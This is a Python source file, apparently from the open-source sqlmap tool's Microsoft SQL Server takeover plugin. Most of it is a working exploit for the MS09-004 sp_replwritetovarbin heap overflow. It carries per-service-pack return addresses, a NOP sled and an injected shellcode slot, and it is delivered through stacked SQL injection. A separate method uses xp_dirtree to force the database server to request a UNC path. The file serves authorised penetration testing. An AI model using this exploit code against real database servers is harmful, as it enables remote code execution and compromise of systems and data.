sqlmap/plugins/dbms/mssqlserver/takeover.py
2010-10-14 23:18:29 +00:00

150 lines
6.3 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import binascii
from lib.core.convert import urlencode
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
self.spExploit = ""
GenericTakeover.__init__(self)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self):
"""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
"""
returns = {
# 2003 Service Pack 0
"2003-0": (""),
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split("-")
sp = int(sp)
if kb.osVersion == version and kb.osSP == sp:
addrs = data
break
if addrs is None:
errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in range(0, len(hexStr), 2):
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True)
logger.info("triggering the buffer overflow vulnerability, wait..")
inject.goStacked(self.spExploit, silent=True)